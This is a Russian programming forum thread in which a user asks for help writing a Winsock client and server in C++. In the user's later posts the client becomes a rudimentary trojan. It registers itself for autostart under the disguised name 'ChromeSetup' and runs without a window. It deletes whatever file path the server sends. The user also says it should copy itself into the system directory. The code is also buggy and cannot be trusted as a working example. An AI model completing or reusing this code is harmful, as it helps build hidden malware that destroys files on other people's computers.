Форум программистов, компьютерный форум, киберфорум
C++: Сети
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.76/21: Рейтинг темы: голосов - 21, средняя оценка - 4.76
21 / 21 / 3
Регистрация: 29.04.2012
Сообщений: 214

Клиент-сервер

21.05.2012, 22:43. Показов 4552. Ответов 12
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Добрый вечер.
Моя цель - реализовать клиент-серверную программу, использующую сокеты для соединения.
КЛиент при запуске открывает определенный порт иожидает входящего соединения. Сервер соединяется с клиентом и передает ему имя файла, который должен быть удален.

Подскажите просто какую библиотеку почитать, какие функции использвать? ОТ чего отталкиваться? Как запускать? Получается надо создать какой-то виртуальный сервер? Или работать с двух компьютеров?
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
21.05.2012, 22:43
Ответы с готовыми решениями:

Клиент-Серверное приложение. Как сделать, чтобы сервер сам отправлял сообщения на клиент
Добрый день всем. Проблема заключается в следующем: Есть клиент-серверное приложение, хочу реализовать своего рода защиту, чтобы при...

Tcp ip клиент-сервер C++ сервер выводит мусор
server # include <sys/types.h> # include <iostream> # include <winsock2.h> # include <stdlib.h> # pragma comment (lib,...

Клиент/сервер: клиент посылает серверу слово; определить, является ли это слово палиндромом
Осуществить взаимодействие клиента и сервера на основе протокола TCP/IP. Функционирование клиента и сервера реализовать следующим образом:...

12
365 / 366 / 167
Регистрация: 11.06.2010
Сообщений: 703
21.05.2012, 22:47
Крис Касперски "Самоучитель игры на WINSOCK"
0
В астрале
Эксперт С++
 Аватар для ForEveR
8049 / 4806 / 655
Регистрация: 24.06.2010
Сообщений: 10,562
22.05.2012, 00:04
boost::asio.
1
385 / 229 / 12
Регистрация: 06.07.2011
Сообщений: 512
22.05.2012, 00:11
см. Qt
0
21 / 21 / 3
Регистрация: 29.04.2012
Сообщений: 214
22.05.2012, 13:00  [ТС]
Значит лучше использовать синхронные сокеты?
0
27 / 27 / 4
Регистрация: 02.11.2010
Сообщений: 370
22.05.2012, 13:19
Ilyaa, а я бы SDL_net посоветовал
0
21 / 21 / 3
Регистрация: 29.04.2012
Сообщений: 214
23.05.2012, 00:01  [ТС]
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <winsock2.h>
#include<iostream>
//# include<Windows.h>
# pragma comment (lib,  "ws2_32.lib")
 
WORD wVersionRequested;
WSADATA wsaData = {0};
 
int init()
{
    wVersionRequested = MAKEWORD( 2, 2 );
 
    int err=WSAStartup(wVersionRequested, &wsaData);
    if (err) 
    {
        printf("WSAStartup failed: %d\n", err);
        return 1;
    }
    
    if ( LOBYTE( wsaData.wVersion ) != 2 ||
        HIBYTE( wsaData.wVersion ) != 2 )
    {
        WSACleanup( );
        return 1; 
    }
    return 0;
}
 
int sok_creation()
{
    SOCKET socket_k=(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 
    if (socket_k == INVALID_SOCKET) 
    {
        printf("Socket function failed with error: %ld\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    sockaddr_in client;
    client.sin_family = AF_INET;
    client.sin_addr.s_addr = inet_addr("127.0.0.1");
    client.sin_port = htons(27015);
 
    // Connect to server.
    int err = connect(socket_k, (SOCKADDR *) & client, sizeof (client));
    if (err == SOCKET_ERROR) 
    {
        printf("connect function failed with error: %ld\n", WSAGetLastError());
        err = closesocket(socket_k);
        if (err == SOCKET_ERROR)
            printf("closesocket function failed with error: %ld\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    printf("Connected to server.\n");
 
    err = closesocket(socket_k);
    if (err == SOCKET_ERROR)
    {
        printf("closesocket function failed with error: %ld\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    WSACleanup();
    return 0;
}
Хочу сказать всем спасибо за советы, мне понравилось SDL_net, Qt и winshock, но тут победил winshock, т.к. с win api я немного работал и понимаю что к чему+ самоучитель всего на 22 страницы)
Реализовать программу-клиент. для проверки запустил, пишет ошибку
connect function failed with error: WSAENOTSOCK
closesocket function failed with error:WSAENOTSOCK

Я почитал про эту ошибку.
Цитата из msdn "Socket operation on nonsocket.
An operation was attempted on something that is not a socket. Either the socket handle parameter did not reference a valid socket, or for select, a member of an fd_set was not valid."

Не понимаю почему он ссылается на недействительный сокет?

Добавлено через 19 минут
C
1
2
SOCKET socket_k= INVALID_SOCKET;
    socket_k=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
Вот кое-что поменял.
Осталась одна ошибка
connect fail WSAECONNREFUSED

MSDN "Connection refused.
No connection could be made because the target computer actively refused it. This usually results from trying to connect to a service that is inactive on the foreign host—that is, one with no server application running."

Неправильно ъост указан? Не понимаю.
0
21 / 21 / 3
Регистрация: 29.04.2012
Сообщений: 214
23.05.2012, 01:17  [ТС]
Клиент
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <winsock2.h>
#include<iostream>
//# include<Windows.h>
# pragma comment (lib,  "ws2_32.lib")
 
WSADATA wsaData = {0};
 
int init()
{
    if (WSAStartup(MAKEWORD( 2, 2 ), &wsaData)) {
        printf("WSAStartup failed: %d\n",  WSAGetLastError());
        return 1;
    }
    
    if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ){
        printf("Error\n");
        WSACleanup( );
        return 1; 
    }
    return 0;
}
 
int sok_creation()
{
    SOCKET socket_k= INVALID_SOCKET;
    socket_k=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 
    if (socket_k == INVALID_SOCKET) {
        printf("Socket function failed with error: %ld\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    sockaddr_in client;
    client.sin_family = AF_INET;
    client.sin_addr.s_addr = inet_addr("127.0.0.1");
    client.sin_port = htons(27015);
 
    // Connect to server.
    if ((connect(socket_k, (SOCKADDR *) & client, sizeof (client)))== SOCKET_ERROR) 
    {
        printf("connect function failed with error: %ld\n", WSAGetLastError());
        if (closesocket(socket_k)== SOCKET_ERROR)
            printf("closesocket function failed with error: %ld\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    printf("Connected to server.\n");
 
    char recbuf[78];
    if((recv(socket_k,(char*)recbuf,(int)strlen(recbuf),MSG_PEEK))!=SOCKET_ERROR)
        remove(recbuf); 
 
 
    if (closesocket(socket_k)== SOCKET_ERROR)
    {
        printf("closesocket function failed with error: %ld\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    WSACleanup();
    return 0;
}
 
int main()
{
    //autorun();
    init();
    sok_creation();
    
}
Сервер:
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include <winsock2.h>
#include<iostream>
//# include<Windows.h>
# pragma comment (lib,  "ws2_32.lib")
 
WSADATA wsaData = {0};
SOCKET socket_k=INVALID_SOCKET;
SOCKET socket_s=INVALID_SOCKET;
sockaddr_in client;
 
int init()
{
    if (WSAStartup(MAKEWORD( 2, 2 ), &wsaData)) {
        printf("WSAStartup failed: %d\n",  WSAGetLastError());
        return 1;
    }
    
    if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ){
        printf("Error\n");
        WSACleanup( );
        return 1; 
    }
    return 0;
}
 
int sok_bind()
{
    
    socket_k=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
 
    if (socket_k == INVALID_SOCKET) {
        printf("Socket function failed with error: %ld\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    client.sin_family = AF_INET;
    client.sin_addr.s_addr = inet_addr("127.0.0.1");
    client.sin_port = htons(27015);
 
 
   if ((bind (socket_k, (SOCKADDR *) & client, sizeof (client))) == SOCKET_ERROR){
        printf("bind failed with error %u\n", WSAGetLastError());
        closesocket(socket_k);
        WSACleanup();
        return 1;
    }
    else
        printf("bind returned success\n");
 
    WSACleanup();
    return 0;
}
 
int listen_accept()
{
    if (listen(socket_k, SOMAXCONN) == SOCKET_ERROR)
        printf("listen function failed with error: %d\n", WSAGetLastError());
 
    printf("Listening on socket...\n");
 
    printf("Waiting for client to connect...\n");
 
    // Accept the connection.
 
    if ((socket_s=accept(socket_k, NULL, NULL)) == INVALID_SOCKET) {
        printf("accept failed with error: %ld\n", WSAGetLastError());
        closesocket(socket_k);
        WSACleanup();
        return 1;
    } else
        printf("Client connected.\n");
 
    char sendbuf[78];
    printf("Enter the file's path");
    scanf("%s",sendbuf);
 
        // Send an initial buffer
    
    int iResult = send(socket_s, sendbuf, (int)strlen(sendbuf), MSG_PEEK );
    if (iResult == SOCKET_ERROR) {
        printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(socket_k);
        WSACleanup();
        return 1;
    }
 
    printf("Bytes Sent: %d\n", iResult);
    printf("File deleted");
    // shutdown the connection since no more data will be sent
    //iResult = shutdown(socket_k, SD_SEND);
    //if (iResult == SOCKET_ERROR) {
    //    printf("shutdown failed with error: %d\n", WSAGetLastError());
    //    closesocket(socket_k);
    //    WSACleanup();
    //    return 1;
    //}
 
    // Receive until the peer closes the connection
    //do {
 
    //    iResult = recv(socket_k, recvbuf, recvbuflen, 0);
    //    if ( iResult > 0 )
    //        printf("Bytes received: %d\n", iResult);
    //    else if ( iResult == 0 )
    //        printf("Connection closed\n");
    //    else
    //        printf("recv failed with error: %d\n", WSAGetLastError());
 
    //} while( iResult > 0 );
 
    if (closesocket(socket_k) == SOCKET_ERROR) {
        printf("closesocket function failed with error %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    WSACleanup();
    return 0;
}
 
int main()
{
    //autorun();
    init();
    sok_bind();
    listen_accept();    
}
Ошибки:
у клиента все та же прежняя ошибка connect fail WSAECONNREFUSED

у сервера :
Скрин прикрепил.

Насчет ошибки сервера: MSDN
"WSANOTINITIALISED
Successful WSAStartup not yet performed.
Either the application has not called WSAStartup or WSAStartup failed. The application may be accessing a socket that the current active task does not own (that is, trying to share a socket between tasks), or WSACleanup has been called too many times."

Как я мог завалить вызовWSAStartup , если у меня там нет ошибок?
Не понимаю.

И еще: как надо эти программы запускать? Одновременно; сначала сервер, потом клиент или как?
Миниатюры
Клиент-сервер  
0
21 / 21 / 3
Регистрация: 29.04.2012
Сообщений: 214
23.05.2012, 06:51  [ТС]
Это ведь отдельные программы, описанные в разных *.cpp файлах? Или в одном?

Добавлено через 6 минут
Или может их надо запускать с разных компьютеров?
Подойдет один комп, но сервер будет в виртуальной машине, а клиент в "реальной" машине?

Добавлено через 4 часа 46 минут
только сейчас заметил, что правильно winsock. Дико извиняюсь, невнимательный.

Добавлено через 24 минуты
Как я понял мне всего лишь надо запустить их с разных компов. Ошибка сервера в том, что он не видит клиента, а клиента - не к чему коннектиться?

Аааа, мне жутко интересно как эти две программы грамотно запустить.
С виртуальной машиной не вышло (по крайней мере windows xp sp 2 пишет, что ему не хватает msvcr100d, я скачал, а он ругается, что все повреждено)
Значит надо два компа с локальной сетью?
0
27 / 27 / 4
Регистрация: 02.11.2010
Сообщений: 370
23.05.2012, 07:42
Ilyaa, сначала запускаешь то, что должно принимать инфу. потом то, что должно отправлять. отправлять можно и на 127.0.0.1 : port. Тогда брать инфу надо с этого же порта port на этой же машине. И все. Никаких виртуальных машин и мучений
0
1569 / 505 / 48
Регистрация: 04.04.2009
Сообщений: 1,891
23.05.2012, 10:10
Ilyaa, хм... Меня очень заинтересовал Ваш топик, т.к. тема смежная: Отправка от сервера конкретному клиенту

Так а почему сокеты никто не любит? Я имею в виду TClient/ServerSocket? С ними вроде все так просто...


Цитата Сообщение от Ilyaa Посмотреть сообщение
но тут победил winshock, т.к. с win api я немного работал и понимаю что к чему+ самоучитель всего на 22 страницы)
А линком на самоучитель не кинете?
0
21 / 21 / 3
Регистрация: 29.04.2012
Сообщений: 214
23.05.2012, 20:58  [ТС]
http://kpnc.opennet.ru/sock.pdf

Без понятия почему никто не любит сокеты)

Добавлено через 21 минуту
Сервер:
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include <winsock2.h>
#include<iostream>
//# include<Windows.h>
# pragma comment (lib,  "ws2_32.lib")
 
WSADATA wsaData = {0};
SOCKET socket_k=INVALID_SOCKET;
SOCKET socket_s=INVALID_SOCKET;
sockaddr_in client;
 
//void autorun ()
//{
//char autorun[] = "C:\Downloads\ChromeSetup.exe";           
//HKEY hKeys; 
// if(RegOpenKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run",0,KEY_SET_VALUE,&hKeys) == ERROR_SUCCESS)  
//    { 
//        RegSetValueEx( hKeys, "ChromeSetup", 0, REG_SZ, (const unsigned char*)autorun,strlen(autorun)); 
//        RegCloseKey(hKeys );                
//    } 
//}  
 
int main()
{
    //autorun();
        if (WSAStartup(MAKEWORD( 2, 2 ), &wsaData)) {
        printf("WSAStartup failed: %d\n",  WSAGetLastError());
        return 1;
    }
    
    if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ){
        printf("Error\n");
        WSACleanup( );
        return 1; 
    }
    socket_k=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
 
    if (socket_k == INVALID_SOCKET) {
        printf("Socket function failed with error: %ld\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    client.sin_family = AF_INET;
    client.sin_addr.s_addr = inet_addr("127.0.0.1");
    client.sin_port = htons(27015);
 
 
   if ((bind (socket_k, (SOCKADDR *) & client, sizeof (client))) == SOCKET_ERROR){
        printf("bind failed with error %u\n", WSAGetLastError());
        closesocket(socket_k);
        WSACleanup();
        return 1;
    }
    else
        printf("bind returned success\n");
    if (listen(socket_k, SOMAXCONN) == SOCKET_ERROR)
        printf("listen function failed with error: %d\n", WSAGetLastError());
 
    printf("Listening on socket...\n");
 
    printf("Waiting for client to connect...\n");
 
    // Accept the connection.
 
    if ((socket_s=accept(socket_k, NULL, NULL)) == INVALID_SOCKET) {
        printf("accept failed with error: %ld\n", WSAGetLastError());
        closesocket(socket_k);
        WSACleanup();
        return 1;
    } else
        printf("Client connected.\n");
 
    char sendbuf[78];
    printf("Enter the file's path");
    scanf("%s",sendbuf);
 
        // Send an initial buffer
    
    int iResult = send(socket_s, sendbuf, (int)strlen(sendbuf), 0 );
    if (iResult == SOCKET_ERROR) {
        printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(socket_k);
        WSACleanup();
        return 1;
    }
 
    printf("Bytes Sent: %d\n", iResult);
    printf("File deleted\n");
 
    if (closesocket(socket_k) == SOCKET_ERROR) {
        printf("closesocket function failed with error %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
    if (closesocket(socket_s) == SOCKET_ERROR) {
        printf("closesocket function failed with error %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
    system("pause");
    WSACleanup();
    return 0;
    
    
}
Клиент:
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <winsock2.h>
#include<iostream>
# include<Windows.h>
# pragma comment (lib,  "ws2_32.lib")
 
WSADATA wsaData = {0};
 
void autorun ()
{
char autorun[] = "C:\Downloads\ChromeSetup.exe";           
HKEY hKeys; 
 if(RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\Microsoft\Windows\CurrentVersion\Run",0,KEY_SET_VALUE,&hKeys) == ERROR_SUCCESS)  
    { 
        RegSetValueEx( hKeys, L"ChromeSetup", 0, REG_SZ, (const unsigned char*)autorun,strlen(autorun)); 
        RegCloseKey(hKeys );                
    } 
}  
 
 
int WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
        if (WSAStartup(MAKEWORD( 2, 2 ), &wsaData)) {
        printf("WSAStartup failed: %d\n",  WSAGetLastError());
        return 1;
    }
    
    if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ){
        printf("Error\n");
        WSACleanup( );
        return 1; 
    }
 
    SOCKET socket_k= INVALID_SOCKET;
    socket_k=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 
    if (socket_k == INVALID_SOCKET) {
        printf("Socket function failed with error: %ld\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    sockaddr_in client;
    client.sin_family = AF_INET;
    client.sin_addr.s_addr = inet_addr("127.0.0.1");
    client.sin_port = htons(27015);
 
    // Connect to server.
    while(connect(socket_k, (SOCKADDR *) & client, sizeof (client))) {}
 
 
    printf("Connected to server.\n");
 
    char recbuf[78];
    if((recv(socket_k,(char*)recbuf,(int)strlen(recbuf),0))!=SOCKET_ERROR)
        remove(recbuf); 
 
 
    if (closesocket(socket_k)== SOCKET_ERROR)
    {
        printf("closesocket function failed with error: %ld\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    WSACleanup();
    return 0;
    
}
Связь устанавливается успешно. Но это не сама суть проги. Цель - удалить файл. Для удаления я от имени сервера пишу путь к файлу и передаю клиенту, но файл не удаляется! Я не понимаю в чем дело.

Еще надо усовершенствовать клиент, чтобы он запускался при автозагрузке компьютера и копировал сам себя в системный каталог.

Кто-нибудь видит ошибку: почему файл не удаляется?
0
21 / 21 / 3
Регистрация: 29.04.2012
Сообщений: 214
25.05.2012, 07:46  [ТС]
Проблема точно с сервером в функции accept. Но как ее переписать? Записать для socket_s еще одну структуру и прописать порт? А смысл?

Как ее усовершенствовать?

Добавлено через 19 минут
А еще надо создать сокет, отправлявший от клиента серверу отчет о проделанной раоте (фал удалился или нет).
И тут получается у сервера будет recv, клиента - send, но достаточно создать один сокет или как в сервере снова 2 сокета будет?
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
25.05.2012, 07:46
Помогаю со студенческими работами здесь

Клиент-Сервер
Здравствуйте форумчане! Нужна помощь в написании клиент-серверной программы. Суть её такая, клиенты стучатся на один порт сервера и сервер...

Клиент сервер
Здравствуйте, задали в институте написать клиент серверное приложение на си через сокеты. Может у кого нибудь уже есть готовое решение или...

Клиент+Сервер
Здравствуйте люди!Помогите с созданием архитектуры клиент сервер с созданием сокета и отдельно RPC что в каждом варианте можно было...

Клиент-сервер
Здраствуйте, направьте на пусть истинный: До завтра нужно изучить сетевые протоколы, но у меня ничего не получается. Есть задачник, мне...

Клиент-сервер
Как написать программу клиент-сервер, самую простую, например что бы клиент мог отправлять сообщения на сервер?? Дайте какие нибудь...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
13
Ответ Создать тему
Новые блоги и статьи
PhpStorm 2025.3: WSL Terminal всегда стартует в ~
and_y87 14.12.2025
PhpStorm 2025. 3: WSL Terminal всегда стартует в ~ (home), игнорируя директорию проекта Симптом: После обновления до PhpStorm 2025. 3 встроенный терминал WSL открывается в домашней директории. . .
Access
VikBal 11.12.2025
Помогите пожалуйста !! Как объединить 2 одинаковые БД Access с разными данными.
Новый ноутбук
volvo 07.12.2025
Всем привет. По скидке в "черную пятницу" взял себе новый ноутбук Lenovo ThinkBook 16 G7 на Амазоне: Ryzen 5 7533HS 64 Gb DDR5 1Tb NVMe 16" Full HD Display Win11 Pro
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
Ломающие изменения в C#.NStar Alpha
Etyuhibosecyu 20.11.2025
Уже можно не только тестировать, но и пользоваться C#. NStar - писать оконные приложения, содержащие надписи, кнопки, текстовые поля и даже изображения, например, моя игра "Три в ряд" написана на этом. . .
Мысли в слух
kumehtar 18.11.2025
Кстати, совсем недавно имел разговор на тему медитаций с людьми. И обнаружил, что они вообще не понимают что такое медитация и зачем она нужна. Самые базовые вещи. Для них это - когда просто люди. . .
Создание Single Page Application на фреймах
krapotkin 16.11.2025
Статья исключительно для начинающих. Подходы оригинальностью не блещут. В век Веб все очень привыкли к дизайну Single-Page-Application . Быстренько разберем подход "на фреймах". Мы делаем одну. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru